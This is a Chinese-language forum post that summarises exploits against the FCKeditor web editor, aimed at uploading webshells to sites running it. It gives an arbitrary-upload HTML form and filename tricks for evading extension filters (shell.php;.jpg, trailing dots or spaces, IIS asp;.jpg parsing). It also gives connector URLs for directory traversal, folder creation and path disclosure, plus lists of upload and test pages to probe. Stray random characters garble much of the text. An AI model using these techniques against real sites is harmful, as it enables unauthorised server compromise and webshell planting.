Fckeditor漏洞利用总结 ) Q0 e( B7 d3 c3 f. d, N6 G2 q
查看编辑器版本: d6 X& ?1 G( Y, @" C E
FCKeditor/_whatsnew.html
0 R5 l1 F" m9 c* r: y# B" y8 V—————————————————————————————————————————————————————————————/ h" \& ]- h( V+ o# S
8 T0 A5 p+ |& U/ ~5 p* r2. Version 2.2 版本
% Q; c' S0 L* g3 E* f+ s! xApache+linux 环境下在上传文件后面加个.突破!测试通过。
8 C# i1 X% q$ z; }—————————————————————————————————————————————————————————————
' T# W1 R9 v; ]5 n) o6 M3 J! G6 \! H- L6 ?! n! R3 z7 p* ?0 B
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。& Y6 [; E1 o$ w. {9 K
<form id="frmUpload" enctype="multipart/form-data"
! K. B: S. l& w9 [, ]4 x3 Baction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
, T) Q4 o2 ?5 g" n9 z1 ]/ q<input type="file" name="NewFile" size="50"><br>
7 n! u9 Z9 D# {7 F/ u! l( Y<input id="btnUpload" type="submit" value="Upload">
" h8 Z u! t1 A1 o& b6 Y4 Q2 m</form>) B$ ^5 G7 f, @9 s/ K5 J0 i
—————————————————————————————————————————————————————————————0 m% @9 e8 j; h: ^; A! Z* `
' X) m6 L2 a8 I4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
6 c) E2 G% H2 A& A+ ~+ G$ a 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。7 ~. A6 n8 Y$ d% l* g: o
4.1:提交shell.php+空格绕过1 X3 }1 q0 I# ~3 P' S. z
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
" ]6 E8 D/ ^/ A 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
q4 M* A! B8 U3 S7 M; ?& E8 J—————————————————————————————————————————————————————————————
6 l x+ Y; p% k' i9 _! c2 t4 c+ }
. K; x% C+ b7 t5 f5. 突破建立文件夹
7 w. Y7 g+ ?# L) I6 X1 o$ }4 dFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
) D) d9 ?8 o, }! ~% Z( j' IFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp9 g- u: D% L5 e9 y1 E, D5 J0 A
—————————————————————————————————————————————————————————————5 }! N( F/ u- x5 [+ n& U. w2 \
% {' s, a/ Q9 C5 y- O6. FCKeditor 中test 文件的上传地址
! o9 L ^1 k9 n2 ?" sFCKeditor/editor/filemanager/browser/default/connectors/test.html5 g/ g; i4 N% S' D' d& |$ Q
FCKeditor/editor/filemanager/upload/test.html
6 f6 R1 V1 M9 U1 {9 rFCKeditor/editor/filemanager/connectors/test.html, {) V% y, Y4 v4 @8 c
FCKeditor/editor/filemanager/connectors/uploadtest.html
7 w! D; a- g$ n# Z* M5 J! E—————————————————————————————————————————————————————————————
3 l2 l$ N" u j& w& C& V/ t: H/ V* M! E: n& R7 y
7.常用上传地址
0 G* S O7 Q/ _) m) N& q$ J: pFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
8 a% ?+ a$ h6 R6 p/ ~' Q' G$ t9 y* SFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
4 q& o; p$ U( x; AFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)- T @. d" T6 k# V O! n
JSP 版:1 U# }- z( V; [2 [2 c/ c
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp4 ?6 f4 |6 {9 |& {# k# b$ X
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
/ w E0 I: c- X' |* _( U件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
( ]/ d' T+ Z ^. B' Z—————————————————————————————————————————————————————————————
1 e( q7 V0 l" s. A/ y8 u; {# }: [0 [+ z! `
8.其他上传地址) w' W: U. }' V: a h) e% P
FCKeditor/_samples/default.html/ ^% K R: v$ E) {; n3 ^9 F4 G- ] d
FCKeditor/_samples/asp/sample01.asp& P6 J7 J) L; b2 _8 p0 M" }
FCKeditor/_samples/asp/sample02.asp3 t/ y- n' _& X
FCKeditor/_samples/asp/sample03.asp" f( A7 q! _2 a8 r2 v
FCKeditor/_samples/asp/sample04.asp6 [" F9 D% C" @' l6 {7 h6 y
一般很多站点都已删除_samples 目录,可以试试。
# K; k, j& `7 L8 _- M, ^& R/ s, JFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ \* |8 }( w' C( T: `—————————————————————————————————————————————————————————————
- M) z* i/ e& G( `1 _/ J1 g
9 h0 X! x6 p( M" Y8 ^/ Z+ s9.列目录漏洞也可助找上传地址
* Y: k) f& X' `4 i, p u! G* JVersion 2.4.1 测试通过
- ^6 H/ K/ n) l% \& Y9 R修改CurrentFolder 参数使用 ../../来进入不同的目录
6 ^1 e+ {' I# s! p/ T0 ?: ~$ `" I/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp8 q& F& J& C* \; ]1 U
根据返回的XML 信息可以查看网站所有的目录。
( ]. \ ?1 ~( J0 y$ e, V* K( r% \FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
' n' s D. I+ v. O6 g: p. Y% t也可以直接浏览盘符:
& M4 v7 q( m9 `JSP 版本:# U0 {& U" k" a
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F$ T- s/ p$ E5 E& p+ |4 q7 f
—————————————————————————————————————————————————————————————. R: X0 o" Z, c% L' g
. F, G9 d& _+ v
10.爆路径漏洞
$ m0 B* Z# r% e/ ~% Q7 O% u. PFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
5 k3 d& E: ~ H. n5 O" S—————————————————————————————————————————————————————————————
- n$ a8 z \/ J) m, A2 k+ P$ C
3 {. l1 H5 n z: G. N$ D0 {. R. q11. FCKeditor 被动限制策略所导致的过滤不严问题
1 ?) v0 L( N/ ^ 影响版本: FCKeditor x.x <= FCKeditor v2.4.3! _% D3 v/ B" D- ~1 J
脆弱描述:4 P8 i% w q0 q2 E0 A0 |
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:- T7 L' u5 ]2 h7 l; m4 }9 y
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm9 L5 f0 m0 \$ C( }# |$ G1 c
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
! |- @ c- ~. y8 ? 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
' ^1 Y- e) x' z+ N+ g6 ^ 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
7 o Z% c7 R) l' \: s1 h- p0 b—————————————————————————————————————————————————————————————
* ^3 u, R' ]% c. R. b% o6 F' v- e3 e- Q$ Y' v
12.最古老的漏洞,Type文件没有限制!* _; r( I. c" T( F+ b; v$ R, y
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
5 |0 ?% R8 h& G1 x2 p—————————————————————————————————————————————————————————————
6 s& C N6 p0 H7 P. h* W
2 @+ A5 V1 Z7 |8 R2 @. {===============================================================================================================================================) Y' z: W2 W$ Q7 p4 v3 P
7 P/ w5 D4 z* K' [; yFCK编辑器jsp版本漏洞:' K5 _, E Q b9 x
3 ~5 E* Y! w; G6 N ~5 d5 u$ ^
7 @( O6 {) ~$ d' }" Z% J. ~- s
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F1 |6 ~" D4 U% ~; J+ j
" n- g# q; l, t6 o3 H上传马所在目录7 b. |* N% h' j! r0 L( ?
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/, F7 ]/ b4 t$ ]+ G6 i
上传shell的地址:
, ?, c$ W, p8 Y+ O+ Whttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
6 F- I: m* |* |1 v+ ^跟版本有关系.并不是百分百成功. 测试成功几个站.
% G1 w0 m& }2 R( [8 k5 v不能通杀.很遗憾.
, R% D y1 T5 f8 ihttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
( N+ h8 q* d: ?; h* H如果以上地址不行可以试试# Y: t u+ I+ k4 ?( G/ y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector+ ~: |. a; c- K, [4 P4 P
FCKeditor/_samples/
; a$ p3 i! Z+ ?& [5 X% gFCKeditor/_samples/default.html
. g: V. J) x& W7 ^7 E- Y7 vFCKeditor/editor/fckeditor.htm
; Z8 R1 ~5 a. K+ `FCKeditor/editor/fckdialog.html- e& ]6 p! K& W! Q! {5 u( \+ w! P
9 [* m5 W2 e/ I0 p
# L6 m/ N% W) ~: k F% P0 ]# b
- p$ J( U7 u$ ?- u) y- `解析漏洞+未重命名文件时上传漏洞 1.asp;jpg. r. O7 L! N/ M) s) Y/ O
|